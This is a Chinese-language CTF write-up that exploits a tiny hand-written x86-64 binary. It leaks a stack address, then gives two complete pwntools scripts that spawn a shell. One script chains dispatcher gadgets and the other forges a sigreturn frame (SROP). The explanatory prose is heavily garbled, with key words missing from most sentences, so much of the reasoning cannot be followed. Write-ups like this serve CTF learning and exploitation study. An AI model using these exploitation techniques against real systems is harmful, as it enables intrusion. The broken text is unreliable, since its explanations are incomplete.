五一前速通了一下的原理,星铁回来之后就速速来复现题目了()。这题可以按出题人的意思,根据题目给的条件来巧妙构造。也可以另辟蹊径地用来解决。
技巧ROP




我们重新来审视原函数的逻辑。这里看到打印了的内容,然后返回了一个。这个就是存储了f的返回地址。然后我们看到存储了的地址,它是一个在栈上指向的指针。接着我们用打印了它的地址,而这就是泄露的栈地址了。我们后续就是根据这个地址的偏移在栈上精确构造链。
data = p.recv(952)
stack_leak = u64(data[379 : 379 + 8])这里接收的处的个字节就是泄露的栈地址了。
同时因为这个程序是手写的小汇编程序,我们还可以直接看汇编代码来深化理解(方便理解后续栈布局的设计)
print proc nearmov eax, 1mov edi, 1 ; fdsyscall ; LINUX - sys_writexchg rax, r13jmp qword ptr [rsp+0]print endp可以看到执行完后,并没有移动,还是指向返回地址,并且直接跳转到指向的位置。
_start proc near
var_8= qword ptr -8
mov rsi, offset msg1mov edx, 17Bhcall printpush rspmov rsi, rspmov edx, 8call printmov rsi, offset msg2mov edx, 235hcall printxor rax, raxxor rdi, rdi ; fdmov rsi, rsp ; bufmov edx, 539h ; countsyscall ; LINUX - sys_readjmp [rsp+8+var_8]_start endp我们看到,在执行完后,没有变化,依旧指向原来在栈上的返回地址。此时push rsp,我们压入了这个指针,而它是一个指向上一个栈地址(rsp+0x8)的指针。然后我们将它的值传给了,接着调用打印。所以这就是我们需要的泄露的栈地址。接着后续我们又连续调用了两次,两次call print指令分别压入了两次新的返回地址。因此我们可以大致规划出在进行操作前我们的栈布局是怎么样的。
rsp 返回地址3rsp+0x8 返回地址2rsp+0x10 压入的rsp(我们泄露的内容)rsp+0x18 返回地址1而我们看到写入的位置就是栈布局上的,然后后续的jmp [rsp+8+var_8]其实就是直接跳转了的位置,所以的位置就是我们返回地址,第一个写入的地址会直接跳转。
这里的payload_base = stack_leak - 0x18就是的位置。后续的偏移设置以此为基准。
到目前为止我们摸清楚了程序的意图。然后我们就需要相应的来构造。


这里是最考验技巧的地方了。首先我们看到中完全没有,我们无法直接简单粗暴的控制返回地址搭建链。同时在中设置好寄存器后是直接跳转,后续也无法通过其他方法修改来控制其跳转其他地方。这里的解法是利用了对的加,然后跳转的操作来改变程序的控制流。
我们先跳转,依次设置好相关的寄存器。我们的最终目的是构造
execve("/bin/sh", 0, 0),所以我们按照要求设置相关的寄存器。值得注意的是,这里我们无法直接设置,但是我们看到汇编代码里面有一段xchg rax, r13,也就说我们可以将设置为,后续再调用,交换和的值就能设置好了。设置为我们的在栈上的地址。(相关偏移量我在注释标注了)。后续我们需要再分别将和清零。这也是为什么我们需要用来构造链的主要原因之一。接着我们来设置和我们链有关的寄存器。设置为
xor rdx, rdx在栈上的偏移量,因为会对后再跳转。设置为的地址来不断跳转。这里对清零之后又跳转,然后继续回到栈上执行的清零。再跳转,接着回到栈上执行,目的是让为。由于此时的已经清零了,所以不会打印任何内容。执行完后会跳转,进入栈顶存放的地址。此时
p64(dispatcher)之前的数据均已弹出,所以我们会开始执行新一轮的,我们按之前的第一次的操作设置好等等寄存器。已清零不用管,因为pop rsi存入的的地址,需要后续用重新清零。然后这里的直接填即可,因为我们的已经设置好了。填入我们在栈上放入的新的清零的地址。设置为进行反复跳转。反复跳转跟前面的一样,每次都会将返回到栈上的地址下移并执行。最终我们设置好所有的寄存器然后调用了并。
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# p = remote()p = process('./vuln')
#gdb.attach(p)
pop_gadget = 0x401017dispatcher = 0x401011xor_rdx = 0x401021xor_rsi = 0x401027PRINT = 0x401000syscall_addr = 0x40100A
data = p.recv(952)
stack_leak = u64(data[379 : 379 + 8])log.success(f"leaked stack: {hex(stack_leak)}")
payload_base = stack_leak - 0x18bin_sh_addr = payload_base + 0x78
payload = flat([ p64(pop_gadget), p64(bin_sh_addr), p64(payload_base + 0x48), p64(59), p64(dispatcher), # payload_base + 0x20
p64(pop_gadget), p64(bin_sh_addr), p64(payload_base + 0x60), p64(0), p64(dispatcher), # payload_base + 0x48
# chain1 p64(xor_rdx), p64(xor_rsi), p64(PRINT), # payload_base + 0x60
# chain2 p64(xor_rsi), p64(syscall_addr), # payload_base + 0x70
b"/bin/sh\x00", #payload_base + 0x78
])p.send(payload)
p.interactive()此外这题还可以使用的方法来做。
SROP原理:
首先我们需要了解一下机制。


而这个保存上下文的机制巧就巧在,它会把相关的信息放在栈上,而栈上的内容是我们可读写。并且内核解析相关的信息时并不检查是否真的是之前由内核写入的真实。它只是从最靠近的位置直接找到一个并读取数据,然后放入相应寄存器。所以我们直接在栈上伪造一个,并调用,内核就会直接按照这个伪造的来设置寄存器。
举个例子:假如我们想要。按照的思路来讲。我们只需要将设置为(位),然后利用和两个来执行系统调用。并再此之前在栈上设置好伪造的,(相关寄存器数据按照
execve("/bin/sh", 0, 0)设置好),再设置为。在恢复完上下文之后就会直接执行,系统调用来了。这题另一种方法便是如此。
SROP
首先我们同样需要泄露栈地址,然后相对于栈地址我们放置相应的参数。这里伪造的的大小一般为字节。然后再加上我们前面的两个读入就是。这个就是我们放入的地址,也就是将要构造的需要的第一个参数。
buf = stack_leak - 0x18bin_sh_addr = buf + 0x10 + 0xf8同时尽管十分有限,我们还是有和这两个关键的。而可以通过二次读入长度来控制存有返回值的为,然后我们再用和的来触发,然后使用我们伪造。
这里再次跳转并调用了了,它会接收中的个字节,然后让设置为。中地址的高位是所以我们可以只读取个字节来控制字节数。
这里的没有显式表现在上,而是夹在add rbx, 8中的机器码48 83 C3 08中的C3表示的是的机器码。如果你使用是可以直接看到这个的。
payload1 = flat([ p64(read_addr), p64(0), bytes(frame), b'/bin/sh\x00'])p.send(payload1)
payload2 = flat([ p64(ret_addr), p64(syscall_addr)[:7]])p.send(payload2)我们通过设置相应的寄存器构造并调用execve("/bin/sh", 0, 0)来。
这种解法的更详细的解释可以参考大佬的博客,我的解法主要借鉴了他的思路。博客链接
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# p = remote()p = process('./vuln')
#gdb.attach(p)
ret_addr = 0x401013read_addr = 0x401069syscall_addr = 0x40100A
data = p.recv(952)
stack_leak = u64(data[379 : 379 + 8])log.success(f"leaked stack: {hex(stack_leak)}")
buf = stack_leak - 0x18bin_sh_addr = buf + 0x10 + 0xf8
frame = SigreturnFrame(kernel = 'amd64')frame.rax = 59frame.rdi = bin_sh_addrframe.rsi = 0frame.rdx = 0frame.rip = syscall_addr
payload1 = flat([ p64(read_addr), p64(0), bytes(frame), b'/bin/sh\x00'])p.send(payload1)
payload2 = flat([ p64(ret_addr), p64(syscall_addr)[:7]])p.send(payload2)
p.interactive()